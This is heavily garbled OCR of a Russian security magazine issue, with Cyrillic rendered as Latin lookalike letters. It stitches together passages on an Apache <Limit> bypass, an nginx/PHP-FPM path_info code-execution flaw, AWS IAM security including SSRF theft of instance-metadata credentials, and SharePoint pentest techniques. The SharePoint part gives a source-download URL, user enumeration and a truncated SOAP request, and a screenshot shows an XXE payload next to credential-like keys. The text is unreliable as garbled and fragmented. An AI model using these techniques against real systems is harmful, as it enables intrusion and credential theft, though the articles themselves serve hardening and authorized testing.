HbIMU, NMOKa B OAMH NPEKPACHbI AeHb Kakon-HUbyab «000pbIii»
YenoBeK ee He HalaeT U He BOCMOJb3yeTcs. YacTeHbko aamu-
HUCTpaTOpbl 3abbIBAlOT O HACTPOWNKE MOAK/OYEHUS K OEMOHY
memcached. Ha xabpe ectb uctopusa (bit.ly/1Bhfgez) o Tom,
Kak Takas 6ara 6bin1a HalgeHa Ha phpclub.ru.

BopoTbcs ¢ aTol Npo6aemMoit 4OCTaTOYHO MPOCTO — €ecin
KELUMPYIOLLMIA CEPBMC HAXOAUTCS HA TOW Xe MaLUUHE, 4TO U caM
NPOEKT, TO HaA0 OrPAHNYUTL AOCTYM K HEMY TONBKO C JIOKanxocTa.
[ns aToro B kKOHOUrypaumoHHom darine memcached Hago name-
HUTb CTPOYKY OPTIONS="" Ha OPTIONS="-1 127.0.0.1" n nepe-
3anyctutb memcached. B cnyyae ecnu kewmpylowmin OemMoH
pacnonoxeH Ha OTAENIbHOM cepBepe, HEOHXOAUMO OrpaHnynTb
[OCTYN K HemMy npu nomoLum darpsona.

B 3AKJIOMEHUE

Ha camom pene o 6e30nmacHoi HacTPOWKe Kaxaoro U3 paccmo-
TPEHHbIX NMPOAYKTOB MOXHO FOBOPUTHL AOCTATOYHO A0Nro. Ame-
PUKM Mbl CEroAHSl HE OTKPbIIX, a IMb OCBEXWUNIM B NaMaTu Te
napamMmeTpbl, Ha KOTopble cneayeT obpallarb BHUMaHWe npu Ha-
CTPOWKe CBOEro cepBepa, 4TOObl OH He CTasl NErkoin MULLEHbIO
015 3N10YMbILLNEHHUKOB. Haaelock, AaHHbI MaTepuan MOTUBUPY-
eT 7eb9 ewe pas AOCKOHaIbHO NPOBEPUTbL CBOU KOHDUIM 1 y6e-
OUTbCS, YTO C HMMW BCE B NMOPSIAKE. S

BPE[IHBIE COBETbI

Obpaltasacb 3a COBETOM MO HACTPOMKE K WHTEPHEeTY, Hago MOMHUTL,
4TO HEe BCeMy, 4TO TaM HanmcaHo, CTOUT BepUTb Ha CloBO. MHoraa npumepsl
0TTyZa, KOTopble, B 06LEM-TO, paboTatoT, MOryT NPMBECTU K MOSIBIEHUIO Ce-
pbeaHow GpeLun B 6e30MacHOCTY CUCTEMBI.

BaseAuth

Knaccuyeckuin npymep Takom «MeaBexben ycnyrm» cesa3aH ¢ Apache n Ha-
CTpOViko 6a30BOV aBTOPU3aLMK, KOTopasi NPUMEHSIETCS AJi1S OrpaHnNYeHnst
[0CTyna K kakomy-nn6o danny nnm 4yactu pecypca. OguH na TUNUYHBLIX NPKU-
MEPOB, KOTOPbI MOXET nonacTbcs B CeTu, BbIMSAAUT CieayoLmm o6pa3om:

AuthUserFile /var/www/.htpasswd
AuthName "My Private Files"
AuthType Basic
<1 GET POST>

require valid-user
</limit>

Ha nepBbii B3rNsS4 BCe BbIMSAMT Bpoae Obl HopManbHO. W Takasa Ha-
CcTpovika MOXeT paboTaTb AOSITO U HE NPUHOCUTL HUKAKOW rONOBHOM Gonu.
Tak B 4em xe TyT npobnema? [leno B TOM, H4TO OHa TONbKO YaCTUYHO OrpaHu-
YMBaeT AOCTyn K 3awmiuiaeMomy pecypcey. MNpuunHa B Tere <limit>, koTo-
pbIi OrpaHM4MBaEeT AOCTYN K PeCypCy TOJIbKO B Cily4ae, ecliv UCMosb3yioTCs
GET- nnu POST-3anpockl. M1 XOTs 3TO camble pacnpoCTPaHEHHbIE METOAbI,
HO He eOWHCTBEHHble — eCTb ewe HEAD, OPTIONS, PUT, DELETE, CONNECT
1 TRACE. [ipyrmu cnosamm, eCiiv KTO-TO PELLUT NCMONb30BaTb APYron Tun
3anpoca, To CMOXeT 060MTN aBTOpM3aLIMio.

Kak npaBunbHo

Jly4we Bcero BoobLe He ucnosib3oBatb Ter <1imit>. Ecnu oH 6yaet onyuueH,
TO BGynyT 3anpeLLleHbl BCe TWMbl 3anpocoB. Ecnuv xe BO3HMKNA cuTyauums, Kor-
[a Hago pas3peLunTb ONpeaeseHHbIN TUM 3anpoCcoB, TO MOXHO UCMOJIb30BaTh
Ter <limitexcept>.

PHP-FPM & nginx

Ewe oavH npumep cBsidaH ¢ HacTporkon cesadku PHP-FPM + nginx. Te, KTO
HacTpauBsan, BMOJIHE BEPOATHO MOMN HaTbikaTbCcst B CeTu Ha kof, coaepxa-
LM cneayoLme CTPOKK:

location ~ \.ph
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
_ fastcgi_param SCRIPT_FILENAMEe
/scripts$fastcgi_script_name;
include fastcgi_params;
)

[ne TyT cobaka 3apbita? [leno B TOM, YTO €Civ MONPOCUTL Y CepBepa OT-
patb http://example.com/1px.gif/test.php, To URI npumeTt Bug 1px.
gif/test.php, 4TO, B CBOIO OYepenp, moanageT nog location ~ \.php$,
a SCRIPT_FILENAME ctaHeT /scripts/lpx.gif/test.php. B cny4ae ecnu
nepemeHHas cgi.fix_pathinfo B php.ini 6ynerT ycraHoBneHa B 1 (a no ge-
donTy 310 TaK), To SCRIPT_FILENAME CTaHeT paBHbIM /scripts/lpx.gif,
a PATH_INFO — test.php. Pe3ynstatoMm BCero BbILLEN3NOXEHHOIO ByaeT To,
41O NI06OW Nosb30BaTeNb, Y KOTOPOro 6yAeT BO3MOXHOCTb 3anvBaTh darisbl
Ha cepBep (ponyctnm, no6aBnsTb cebe aBatapkun), CMOXET CO3aaTb Crieum-
anbHoe n3obpaxeHne, KoTopoe ByaeT NPOXoAnTb BANINAALMIO U B TO XXe Bpe-
MS mcnonHaTbc PHP-nHTEepnpetatopom. Y10 NO3BOAUT BbINOJIHATL MPOU3-
BOJIbHbIN KOA, HA CTOPOHE cepBepa ¢ npusunernamn PHP-npouecca.

Kak npaBunbHoO
BapwvaHT nepBbii — ycTaHOBUTL B php.ini nepemeHHyto cgi.fix_pathinfo
B 0. BapuaHT BTOpo — no6aBuTthb try_files $fastcgi_script_name =404;
B 60Kk location:

location ~ \.ph

try_files $fastcgi_script_name =404;
.
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M3secTHblii white hat, noknaguuk Ha security-koHdepeHuusx,

cooprann3artop ZeroNights n npocTo oTnyHbIi napeHsb. B aax-
Hblii MOMEHT 3aHUMaEeT LONXHOCTb Principal Security Engineer

B komnanuu Nokia, rae oTBeyaet 3a 6@30nNacHOCTb CEPBUCOB
nnardopmbl HERE.
alexey.sintsov@here.com

— BE3OMACHOCTb OBJIAKA B HALLWX PYKAX

MEXAH3MbI BESOTNACHOCTIN AWS W CITABBIE MECTA

91 yXxe He ogHaxabl kacancsa Bonpocos 6e3onacHocTn B AWS B TOM MM MHOM KOHTEKCTe. Ha aToT
pas g pewnn pacckasaTtb MPO OCHOBHbIE MEXaHN3Mbl 6€30MacHOCTU, a Tak>Ke NPO TUMNoBble rpabnu,
Ha KOTOpble HACTynalT CHACTNMBbIE aAMUHbI U pa3padboTunku. Nonpodbyem 0600WNTbL 1 cUCTEMATU-
31poBaTb TPeboBaHMSA U HEOOXOAMMbIE NMPOoLEeaypbl MO 06eCnevyeHnio HaAEXHOW 3aLLNTbl CEPBUCOB,
KOTOpble Mbl XOTUM pPa3BepPHYTb B 06n1ake Amazon’a.

SALMLIAA AKKAYHT
Camoe LgeHHoe, 4To ecTb y Tebs, — 3T0 aAMUHCKUIA
[OCTyn K akkayHTy. OH no3BonseT co3gaeatb/yna-
NATb WHCTAHChI, YNPaBnsiTb POASMU U KJlOYaMW,
NPUKPENNATb CEKYPUTU-TPYNMbl, HacTpamBaTb PO-
YTUHI, MEHSITb HACTPOIkM BanaHcepa, MeHsTb cep-
TndukaTel SSL 1 MHOroe apyroe. 3TOT JOCTYN HAA0
3alywaTb, BNpoyeM, kak v noboi apyro 4ocTyn
K @IMWUHCKOW (M1 HE TONBbKO) KOHCOMN, — BEAb MOXET
ObITb MHOIO NOL30BATENEN, POSEN U KIIOYEN.
1. AyTeHTudukauus: NorvH + naposb

Knaccuka xaHpa, pobaButb TyT
Heyero, KpoMe pas3se 4TO Mapbl Be-

Ho 3TO He eaMHCTBEHHbI Cnocob, ecTb elle
KJII04M [OCTYNA, KOTOPbIE MPUBSI3LIBAIOTCS K MOJb-
3oBartesnto. Knoun reHepmpyoTcs NPsiMo 13 KOHCONN
1 MoryT ObITb ckadaHbl B Buae daiina. dakrtmnyecku
3TO NPOCTO AJIMHHANA ClyYaliHasi CTPOKa, Kak Naporb,
TONbKO SIBASIETCS KJIIOYOM (CUMMETPUYHOrO Kpumn-
TOanropuTMa). ATOT KN4 CEeKPETHBIA 1N XpaHUTCS
Ha cepBepe W y knneHTa. OH ncnonb3dyeTcs 4Jis Ao-
cryna k REST API 1 nprBsi3aH K KOHKPETHOMY MOJib-
3oBartesnto. Ml ecnu nNpo nornH v naposb BCE SICHO,
TO K 9TOMY KJlO4y MOoYemMy-TO pa3paboTinkm OTHO-

CATCS MeHee cepbe3Ho. [loBOJIbHO 4acTo ObIBaeT,
4YTO ero MOXHO HalTu B ucxogHukax Ha GitHub’e nnn
3aWwmnTbiM B UcxogHukn Android/iOS-npunoxeHus.
A Beb 3TO KJIOY AOCTYNA, U eCnuv 103ep 3TOro KIIto-
4Ya — afiMVH, To 1 no6oii API-3anpoc — agMUHCKUIA,
BKJIIO4AsA 3aMpoC Ha CO34aHne HOBOro Nonb3oBare-
NI UKW MHCTaHca. MoaTomy KoY HaAo 3almwathb,
3TO BaXHbI MOMEHT.
3. NopnucanHbie 3anpocbl APl (SOAP)
Kpome cummeTpuyHoi kpuntorpadpumn, AWS
Nno3BONSET  WUCMNOJIb30BATb  ACMMMETPUYHYIO.
Tbl reHepupyewb RSA-kniouu, ae-
naewb cepTudukar C OTKPbITbIM

Len: naposibHOW MONUTUKA N ABYX-
dakTopHOn ayTteHTudmnkaummn. AWS
no3BONSIET  HACTPOUTb  MONUTUKY,
KoTopas 6yaeT orpaHuyYMBaTb MUHU-
MasibHYI0 OJIMHY Naposisl, 3acTaBnsiTh
MCMoNb30BaTb  PErucTpbl, UMb
1 CneucnmMBOJibl, HY 1N TakXe npose-
psiTb OGHOBNIEHVE NAPONs B TEYEHME
onpeneneHHoro cpoka, a Kpome Toro,
3anomMunHaTtb xeL npeabiaywmx N na- Roles
ponei, 4To6bl NONb30BaTENb HE CMOT
MX MCMosb3oBaTb NOBTOPHO. Kopoue,
NPOCTO W MNOHATHO. /[lByxdakTopka
TOXE He WHHOBAUMS — MWCMNONb3yn
XapABapHbl nnu BupTyanbHbelil MFA,
reHeparop OAHOPA30BbIX Naposen,
KOTOpbln  ByAeT ux reHepupoBaTb
Kaxaple Tpuauatb CeKyHa, Takum
06pa3oM Tbl JOSIKEH BBECTU JIOMMH +
naponb + 0AHOPa30BbI koA, BupTy-
anbHbli MFA MOXeT ObITb YCTAHOB-
neH Ha TenedoHe. Bce BmecTe 31O
[OBOJILHO CTaHAAPTHOE N HaaexHoe
CPeaCTBO 3aLLUMTbl MAPONbHOM ayTeH-
Tndunkaumn.

Groups

Users

Dashboard

|UEnt\ty Providers
Password Policy (]

Credential Report

€« C' | @ https://console.aws.amazon.com/iam/home?region=eu-west-1#password_policy

Password Policy

A password policy is a set of rules that define the type of password an IAM user can set. For
more information about password policies, go to Managing Passwords in Using 1AM

Modify your existing password policy below.
Minimum password length s

[¥) Require at least one uppercase letter
Require at least one lowercase letter
[w] Require at least one number
|2\ Require at least one non-alphanumeric character
|7] Allow users to change their own password
[¥] Enabie password expiration
Password expiration period (in days) ‘90'
¥ Prevent password reuse
Number of passwords to remember: 5

(] Password expiration requires administrator reset

f) You have unsaved changes policy

KNIO4OM, MpUKpenseLwb 3ToT cep-
Tudwukatr Kk nonb3osatento B AWS-
KOHCONN, MNOCne 4Yero MOXellb
ncnonb3osatb SOAP APl ¢ XML
signatures (He Be3pe, B EC2/S3,
Hanpumep, Tonbko REST, Tonbko
xapakop, Tam nuwb Access Key).
EcTecTBEeHHO, 3aKpbITYIO YaCTb KO-
4ya Hago 3awmwarh...

PoTauuio Koyen/ceptnduka-
TOB MOXHO M HY>HO NnogaepxvBarh!
Bce nepeuncneHHble MeTOAbl U Ha-
CTPOVKM — Y4acTb Tak Ha3blBAEMOro
AWS IAM (AWS Identity and Access
Management) n MoryT 6bITb HaCTpoOEe-
Hbl kak Yepe3 APl unu wabnoHsl (AWS
CloudFormation), Tak u BpYy4YHYylO
B KOHCOMN.

POJIMUTPYNMNbI

He Bce nonb3oBateny AOMKHbI ObiTh
agMuHaMu, 3TO OYEBMAHO, MNO3TO-
My AWS |IAM “mMeeT elle CyLHOCTU:
ponu, rpynnbl U noauTukK. MonnTn-
Ka — 3To onucaHune gocTyna. Hanpu-

2. AyteHTundumkauma no cumMmme-
TPUYHOMY KoYy

HacTpoiika naposbHbIX NOIMTUK — Knaccuka!

Mep, agMUHCKas NnoanTuka BblirngagnT
BOT Tak:



XAKEP 09 /188/2014

Amazon — 6e3onacHOCTb 0bs1aka B HaLuux pykax

73

{  ipsjeco samambes@itesse x \
"Statement": [{
"Effect":"Allow",
"Action":"*",

"Resource":"*"

{"Code" : "Success", ""LastUpdat
"ASIAIGFEBDF6DTB7HJHA", "SecretAccessKey" :
"MCMeFn+vAVCLQATrI9GFS5jiSmBCo6sjQLfX7NPPJ", "Token" :

Mbl HENOCPEACTBEHHO K MHCTAHCaM.

€ D BpcT ., - iest-1.compute.amazonaws,com/index.php7xml_input=<xml version="10" encoding="utf-§ 2> <DOCTYPE book [</ENTITY test SYSTEM “nttp:

ed" : "2014-08-08T11:35:12Z", "Type" : "

c/8- XOTS [JaHHbIA MExaHU3M [0BOJIbHO
HeynobeH, Tak kak MMeeT psf, orpa-
HuyeHnin: B EC2 Henb3a nobasnarb
rpynnbl K yXe CYLLEeCTBYIOLWMM WH-

¥ " AQoDYXAzENX//////////WwEa0APgpqSDL5n5rw+QnTOY ¢7eisfitdSm7SQecA| cTaHcam. JIMGO MeHsiTb  Tekylive
] /YBiO8jzC9dypK7j94ytpVA0dL77GM9xopNfIW0rYdLBgaAxyXx6i3G+3ho/ rpynnel, nGo  nepenensonTs -
¥ /w2bUrjWB3iL8FabyGhFreH1uYKSbxIEbsMsORO9KYBugRnrRAbDA0zw: CTaHC yXe C HOBbIM CETOM rpynn.

Mo-pepeBeHCKu: paspelarb
nenate BCE pns BCEFO. Coort-
BETCTBEHHO, OrpaHuyMBaemM npasa
nns poctyna kK 1AM Tak:

Found!

/04FKvWLF7RLK2GqRozVDYBWIDD8JbQeou7QmeccrucSIfSAHgel+VOS)
/VemOuORxCWg3jQUitT9Fopk9H//hvqCCn7JKfBQ==", "Expiration" : '"20

3. ELB (Elastic Load Balancing).
JaHHas CywHOCTb ABNSETCH «BCTPO-
€HHbIM» 6anaHcepoM, a TaKkxe Mo-
XeT urpartb posnb SSL-TepmuHaTopa,
TaKk 4TO MOCNe reHepaumun Ko4mka

"Statement": [
{
"Effect": "Allow",
"Action": [
"iam:GetGroup",
"iam:GetLoginProfile",
"iam:GetUser",
"iam:ListAccessKeys",
"iam:ListAccountAliases"”,
"iam:ListGroupPolicies",
"iam:ListGroups",
"iam:ListGroupsForUser",
"iam:ListMFADevices",
"iam:ListSigningCertificates"”,
"iam:ListUsers",
"iam:GetServerCertificate",
"iam:ListServerCertificates”,
1,
"Resource": "*"

Effect — paspeLumnTb nnm 3anpetuTsb.

Action — kakoi 3anpoc APl KOHKPETHO, TO eCcTb
Kakoe AencTane.

Resource — Kakol KOHKPETHO Pecypc MOXeT
OblTb OOBLEKTOM A1 AAHHOW MOMUTUKA, B AAHHOM
KoHTekcTe IAM — rpynna nnu nonb3oBaresb, Ha KO-
TOPbIX PACMPOCTPAHAIOTCA 3TU NpaBuna (B Hawem
npumepe aTo BCe rpynmnbl 1 NONb30BaTeNN).

Ewe ectb pononHutenbHas rpynna Condition,
B KOTOPOWA MOXHO YykasaTb AOMOJSIHUTENIbHbIE YC-
N0BUS NONUTKK, Hanpumep IP-agpec ucTtodHuka
(bunbTp No 1P).

Hy wn nonatHa noruka pna Actions: Bce,
4YTO He paspelleHo, 3anpeLieHo. AT NoAUTUKN
MOXHO NpUNUcaTtb Kak posn, Tak U OTAENIbHO NOMb-
3oBareno. MoToM Ha ocHOBe poneli co3paBaTtb
rpynnbl. MNpyn 3TOM rpynny MOXHO TakXe Ha3Ha4YnTb
nonb3oBarento. To eCTb MOXHO «JaBaTb Mpasa»
nrMB0o NONbL3oBaATENSAM, MO0 PONSM, KOTOPbIE BXOOSAT
B rpynnbl. Monb3oBarensiM MOXHO COCTOATb B Of-
HOW rpynne unn B HECKOJSIbKMX. TO eCTb Nosly4aeTcs
BeCbMa rnbkas posieBast Mogesb.

Mpn poBonbHO 6GonbLIOW  MHGPACTPYKTYpPE,
roe y Hac MHOro nonb3oBaTteneri — Aas Aennos,
0N cKaHepa, Ans ayavTa, 4 JoroB 1 Tak janee,
€CTb BEpOSITHOCTb HaMyapuTb W 3anytarbCi —
O4YeHb MHOrO MpaBwl: OOHUM MOXHO nucatb B S3,
OPYrMM TOJIbKO YMTaTh... VI KOHEYHO, 9TO OrpoMHoe
none pfis cokpbiTna 6akagopa :). Hanpumep, 63k-
[opHasi NoANCK MOXET ObiTb flo6aBneHa B posb Un
K NONb30BaTeNto, MPU 3TOM CMNCOK NOJSIb30BaTENEN,
poneii v rpynn He UBMEHUTCS.

ELLE BOJIbLWE BOCTYMNA KAKKAYHTY
Kaganocb 6bl, TO4KM BXOAA U NpaBa — BCE OHO TyT
€CTb 1 onuncaHo. Ho ecTb elLle MHOIo YEpPHbIX XO0B.
1. [loBepeHHble akKkayHTbl. Ha posb MOXHO npwu-
LennTb t03epa C ApYroro akkayHta. 9TO O4eHb
Muno, 6epemM ponb agMuHa 1 LENnnsiem K Hemy
Nonb30BaTENs C XaKePCKOro akkayHTa. 3amMeTuTb

Cnue knioveit poctynayepes SSRF ana ponuuHcraHca

3TO MOXHO ToNbKO B rpade Trusted Relationship
B CMUCKE poJieit — B CMUCKe Nonb30oBaTenen ero
BUIHO He BynerT.

2. Ponb wuHcTaHca. Bce WHcTaHcbl Moryt 06-
pawarbca kK APl meTagaHHbix 06e3  koua
(http://169.254.169.254/latest/meta-data/>).
C atoro APl uHCTaHC (M Xxaukep, KOTOpbIA 3a-
NbIBHWA GOKC) MOXET MONYy4nTb Kyvy WHBbI.
VpoHnsi B TOM, 4TO MOXHO MNpULEnuUTb POoJb
K CaMOMYy MWHCTaHCy, Takum o6pasomM MOXHO
vncnonb3oBate AWS API, n Ttorga 6ynert reHe-
pvpoBaTbCA BPEMEHHbIN Access Key, KoTo-
PbIi MOXHO CNNUTb Yepes3 3TW Xe MeTafaHHbIEe:
http://169.254.169.254/latest/meta-data/iam/
security-credentials/<XROLE_NAME>. Wcnonb-
3y 9TOT KJIOY, MOXHO Aenarb TO, YTO Mponu-
CaHo B nonuTuKax ponu. To ecTb dakTuyecku
[ocTatoyHo npocToii SSRF, 4To6bl MOIHOCTbLIO
3axBaTuUTb akKayHT (Mpu M3nuwHe Hebesonac-
HbIX HACTPOWKax, KOHEHYHO).

3. SAML Providers. A Beab MOXHO elle 006aBUTb
nposarigep ona SSO-ayTeHTUduKaummn. To ecTb
roe-To y 1eba ectb, Hanpumep, cBoli LDAP,
MOXHO [06aBUTbL ero B AWS-akkayHT, Torga ay-
TeHTUGUKauus to3epa OyaeT NpoxoauTb Tam,
1 B Cnyyae ycrnexa JOCTyn 3TOT t03ep NonyyuT
B AWS-akkayHTe ¢ onpeaefieHHON Posiblo. ..

SALULLAEM UHCTAHCBDI

[Ja, BTOopas yacTb 3awmThl ob6naka — 3TO 3awmTa

HenocpeacTBeHHO BMpTyanok. B 90% aTo Bonpock!

3awmTbl OC, cepBMCOB 1 Npoyre 6asiHbl. MaBHoe —

NOMHUTb HECKONbKO MOMEHTOB: WHCTaHCbl UMEIOT

noctyn K APl AWS, nHocTpaHupbl MOryT UMETb 0CTYN

K BHYTPEHHEWN CeTn 1 K APYrMM MHCTaHCaM U gaxe

K nokanbHoi cetu unn Lo, 3a npegenammn AWS. 310

51 Ha Temy SSRF-arak unm B ciiydae KoMnpomeTaumm

6okca nNpo pasBuTUE artak. Tak uam nmHaye, Kpome

MexaHn3moB 3awmTel OC, ecTb ele 1 MexaHn3mbl

AWS, 1 aT10 yxe BbileynomMmsHyTele VPC, a kpome

Toro, Security Groups n ELB-cermeHTauus cetu,

[axe BUPTYasibHON, — 3TO AOBONBbHO BaXHO.

1. VPC (Amazon Virtual Private Cloud). ®akTtunyecku
3T0 BO3MOXHOCTb PY/INTb IOKANbHLIMWN NOACETS-
MU — C punbTpaLMen u poyTUHromMm Tpaduka Tak,
KaK ynobHo KnveHTy. Hanpumep, MOXHO npo-
knHyTb VPN 13 gata-ueHTtpa wim odpuca B noa-
CeTKy Halero AMasoHa, 06beanHUB NX B HEKYIO
NIOrM4eCcKyto NOACETb. A MOXHO MPOCTO HaNUAU-
BaTb 30HbI TMNa DMZ, 6akeHa, 1 Tak ganee. 9T0T
MexaHN3M CUJIbHO pacLUMpseT HaLy BO3MOXHO-
CTW MO CPaBHEHUIO CO cTaHaapTHbIM EC2.

2. Security Groups. 370 06bl4HbIVi CNOC06 GUNLTPO-
BaTb TpaduK Mexay nHctaHcamu. daktmyeckun
3TO MPOCTOM CMNUCOK C Mnpasunamu GunbTpa-
uMm — oTKyaa, Kyaa, kakoi nopt. Kpome Toro,
ecnv roeoputb 0 dunetpaummn B VPC, Tam ectb
oTaenbHble Npasuna GuabTpauum Mexay ceTs-
mn — Network ACL. A Security Groups npumeHu-

n ceptudukatra SSL oHm annoa-

OSTCA UMeHHo Tyaa. OnsiTb Xe ecTb

kocak — B EC2 Henb3a npunenutb

dunbTpaumio k 6anaHcepam, To ecTb
€CM Thl XO4ellb OrPaHNYUTb AOCTYN C onpene-
neHHbIx IP. ELB poctyneH ans Bcex, Bcerga. Bro-
poi1 KocsiK, oaxe elle 6onee Mepakuin, — ecnmn
y Teba SSL 3a ELB, To Tbl Tepsiewb Source IP —
X-Forwarded-For He pob6aBnsieTcsi Kk 3arosios-
Ky (3awmndposaH). Hy a ecnu Tbl popBapanLLb
SSH yepes ELB, 1o ga... 310 nposan :). Bce Tpn
ONMCaHHbIX MexaHn3ma no3BosT GpUNLTPoBaTh
1 pa3pasatb Tpaduk 6onee NPoAyMaHHO C TOUKN
3peHnst 6e30MacHOCTY, BNPOYEM, KaK 1 cO34a-
BaTb AblPbl N I'IpOﬁJ’]thl...

CLOUDFORMATION

BaxHas 4acTb 6e30MacHOCTY — 3TO YHUdUKaums
N CTaHjapTu3aums KoHbWros, JocTyna v npoye-
ro. To ecTb OAMH pa3 KOHUIyprpyem TUMoBOe
pelweHve, nposepsieM, 4To 6e3onacHo, ynobHO
1 OLICTPO, — Aanee NpMMeHsieM. 3To NO3BONNUT U3-
6exarb BENOCUMENOB W CHU3UTb «4Eer0BE4ECKMiA
dakTop», Hy 1 rMaBHOe — yA06HO MOHUTOPUTL. 3a-
[anuv, [onycT!M, CEKYPUTU-rPynne UMsi — 1 3HAeEM,
4TO 3TO 3a rpynna, 4To Tam, MpPo YTO OHA, a UHa4e
6blna Gbl Kyda 0AVMHAKOBbIX MPYMM Ha PasHbIX akkax
C pasHbiMK HasBaHusMK. W elle Hapo ybeamTbes,
410 1 BHYTpWM BCe OK.

CLOUDTRAIL

Ecnwn y Hac HeT norvpoBaHus cobbituii AWS, To Bce
[0BOJIbHO nevanbHo. KTo 1 koraa nonb3osancsa API?
KTo normHunca? Kro mMeHsan nonvtuku v npstan
63kaop? Bce ato GyneT TeGe HemseecTHO. OuyeHb
BaXHbIA 9nemMeHT 6€30MacHOCTU A1 MOHUTOPUHIa
1 paccnefoBaHns UHUMAEHTOB. AHaNN3 JI0roB MOX-
HO M HY>XHO aBTOMAartu3npoBaTb, HO MPO 3TO A yXe
nucas, NPOCTO HE MOT He YNOMSIHYTb TYT ;).

PEFMOHDI

OueBMAHO, HO BCe Xe TemMa BaxHas. AKKayHT ae-
nMTCa Ha pervoHbl, n ecnn IAM-nonb3oBaTtenu,
HanpvMmep, Ha BeCb AaKKayHT, TO YXe WHCTaH-
cbl U noAnTUKM — HeT. ToT xe CloudTrail moxeTt
ObITb HACTPOEH He Ha BCe PervoHbl. ATOT MOMEHT
Hago MOMHUTb WM KOHTPOJIMPOBaTb, COOCTBEHHO,
KaK § mMcan Bbllle, — O4eBMAHAs Bellb, HO 3a0bl-
BaTb HE CTOMUT.

DUHAN

MHoroe TyT He yMecTUNnoch, HO, HaAECh, MMaBHOE
nokasarb yAanocb — TOHKME MecTa B HacTpOiKax,
apxuTekType uam mecta ans 6akgopa (0cobeHHO
B nonutukax). Kopoye, ocHoBHble y3nbl Ge3onac-
HOCTK akkayHTa AWS n, kak cnencTeue, Bceli o6nay-
HoW nnatdopmbl. Ecnn 4T0, Npeanaraio BCNOMHUTL
MNCTOPUIO OOHOM KOMMAHUK, y KOTOPOI yKpanu akk
oT AWS, co3panun 6akaop, U, Koraa Te nonbITaincb
NMOYNCTUTLCS, 3M0MEN BCE YAANUMY, Tak Kak UMenn
anbTePHATMBHBIA JOCTYN K akkayHTy. B utore kom-
naHns 3akpbina cBoi 6uaHec. Bcem 6Ge3onacHbIX
1 NPUSTHBLIX 06nakos! 3
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- HA CJIYXbE
XAKEPA

KAK IHCTPYMEHTbI
1A PASPABOTHMKOB
SHAREPOINT MOI'YT
[NOMO4YbL MNP TECTI-
POBAHWI HA TTPO-
H/IKHOBEHVE

SharePoint — kopnopartmneHas cuctema
XpaHeHus gokymeHtaumm ot Microsoft
¢ Bo3MOXxHocTammn CMS, cunbHO 3aBSsi-
3aHHas Ha Active Directory. B nHtepHe-
T€ MOXHO Haryrnmtb obLme onncaHms
ee ys3BMMOCTEN, HO 13-3a 3aKPbITbIX
netanen 6aros (4a 1 NpoayKTa B LESIOM)
paboymx NyBINYHbBIX 3KCMIONTOB Npak-
TUYECKU HET. XOTH, KOHEYHO, 3TO He 03-

A ‘ Ha4yaeT, 4To B3nomatb SharePoint He-
Monutop GesonacHocTn : BO3MOXHO.

g.lagoda@securitymonitor.ru

U3bICKAHUSA

OOVH U3 HEMHOIMX MHTEPECHbIX 3KCMOMTOB, KOTOPbIA S CMOr
HalTK, 3aKNO4YaeTCs B BO3MOXHOCTY 3arpy3ku MCXOOHbIX KOOOB
ASPX-cTpaHuL, agpec KOTOpbIX 3apaHee M3BECTeH W A0CTYMneH
n3BHe. [laHHas ys3BMMOCTb paboTaeT ToNibko B Bepcun 2007 wa-
pvka, 3KCNIOWT BbIMMSAANUT OCTAaTOYHO NPOCTO:

http://www.example.com/_layouts/download.aspx?«
SourceUrl=/Pages/Default.aspx&amp;Source=«:
http://www.example.com/Pages/Default.aspx&amp;Fldurl=

370 MOXET BbITb MOJIE3HBIM, €C/IN Ha CaliTe eCTb CBOM NPOMNpu-
eTapHbIil Kog,. Ho BCe e HyXHO 3HaTb aapec KOHKPEeTHON cTpa-
HULLbI.

KonHyB 4yTb miybxe, s Hawen, 4to SharePoint comepxut
B cebe psif, MHTEPEeCHbIX BEG-CEPBMCOB, K KOTOPLIM MOXHO 06pa-
TUTbCS, ByAyUM aBTOPM3OBaHHbLIM Ha CaiTe NoJsib3oBaTeem ¢ npa-
BaMU Ha YTEHWE CTPaHWLL.
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Camu cepBUCHI 1 X OMUCAHNE MOXHO HaTK B katanore _vii_
bin. BoT napa npumepoB, kak MOXET BbIMAAETb MyTh:

http://host/_vti_bin
http://host/sites/testsite/_vti_bin

OTOT KaTanor u CepBUCbI MPUBSA3LIBAIOTCA HEMOCpen-
CTBEHHO K CanTy, KOTOPbIN pacnonoxeH Ha SharePoint Server.
To ecTb ecnu y MeHs ByOeT HecKosibko caiToB B host/sites/,
TO ANSi NMONIHOLLEHHOrO MCMOJNIb30BaHUS 3TOM TEXHUKN HEOBXO-
OMMo obpaluaTbCs K CepBMcam BHYTPU KaTasora Kaxaoro can-
Ta. OnucbiBaTh BCE CEPBUCHI B JAHHOW CTaTbe HE MMEEeT CMbIC-
na. 91 3aTpoHy napy n3 HUX, KOTOPblEe MO3BOININ MHE YCNELUHO
3axBaTUTb YYXYIO OOMEHHYIO Y4YeTKy BO BPEM$S BHYTPEHHEro
ayauTa.

RECON

WUtak, ectb cant Ha SharePoint, 1 Mbl MOXEM Ha HEM aBTOPU30-
BaTbCs. 1115 TOro 4To6bl 3aXBaTUTb HYXO akKkayHT, HEMMOXO 3HaTb
€ero NMs 1 NPencTaBNATb, UMEET IV OH [J1 HAC UHTEPEC WIIN HET.
TyT pomkHa BCTYyNuUTb B 60O cTapas TeXHWKA NepedncieHns nosib-
30Barenemn, KoTopas MOXeT BbIrSAeTb Tak:

https://host/_layouts/UserDisp.aspx?ID=1

WNHkpemeHTupyem ID, yntaem nHpopmaumrio o nosib3oBartesne
(puc. 2).

Ho 4yTo nenatb, ecnu nonb3osarteneli B komnaHmm «over 9000»?
[MOCTOSIHHO MHKPEMEHTUPOBATbL PyKaMu UAN NMcaTb CBOW CKPUMT,
LennaTb Ha Hero GyHKUMOHan AOMeHHOM asTopmuaauuu no NTLM
mnn KERBEROS poctatoyHo TpyaoemMko 1 Heyao6Ho. Ha nomolub
NPUXOAAT CEPBUCHI, O KOTOPbIX A yXe roBopwi. Cpean HUX ecTb
OYeHb MHTepecHbIi cepBuc UserGroup.asmx, KOTOPbI NO3BOSS-
€T 04HMM 3anpoCOoM MONYYUTb BCEX NONb30BaTeNel caTa pasom
B Buae XML.

BbirnsauT 3anpoc AOCTaTo4HO NPOCTO:

POST /sites/testsitel/_vti_bin/UserGroup.asmx
HTTP/1.1
Host: host

[.-]

<?xml version= encoding= ?>
<soap:Envelope xmlns:xsi="
xmlns:xsd=
xmlns:soap=
>
<soap:Body>
